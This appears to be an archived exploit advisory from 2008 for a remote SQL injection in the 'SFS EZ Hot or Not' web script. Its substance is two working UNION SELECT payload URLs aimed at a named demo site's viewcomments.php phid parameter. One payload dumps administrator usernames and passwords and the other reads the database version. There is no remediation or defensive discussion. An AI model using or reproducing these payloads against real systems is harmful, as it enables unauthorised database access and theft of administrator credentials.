[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : SFS EZ Hot or Not (phid) Remote SQL Injection Vulnerability
# Published : 2008-10-31
# Author : d3b4g
# Previous Title : SFS EZ Webring (cat) Remote SQL Injection Vulnerability
# Next Title : Article Publisher PRO 1.5 Insecure Cookie Handling Vulnerability
SFS EZ Hot ot Not[viewcomments.php?phid] Remote SQL Injection Vulnerability
===============================================================
----------------------------------------------------------------
script : SFS EZ Hot ot Not
script : http://www.scripts-for-sites.info
Risk : High
----------------------------------------------------------------
Discovered by : d3b4g
email : bl4ckend[at]gmail[dot]come
Site. www.bl4ck3nd.info
----------------------------------------------------------------
Exploit demo: http://www.turnkeyzone.com/demos/hot/viewcomments.php?phid=-1+union+all+select+1,concat(password,username),3,4,5,6+from+admin/*
version: http: www.turnkeyzone.com/demos/hot/viewcomments.php?phid=-1+union+all+select+1,@@version,3,4,5,6/*
----------------------------------------------------------------
----------------------------------------------------------------
Greetz: str0ke,,Hotlism.org,All my friends
-----------------------------------------------------------------
Proud to be a maldivian :))
=======================
----------------------------------------------------------------
# www.Syue.com [2008-10-31]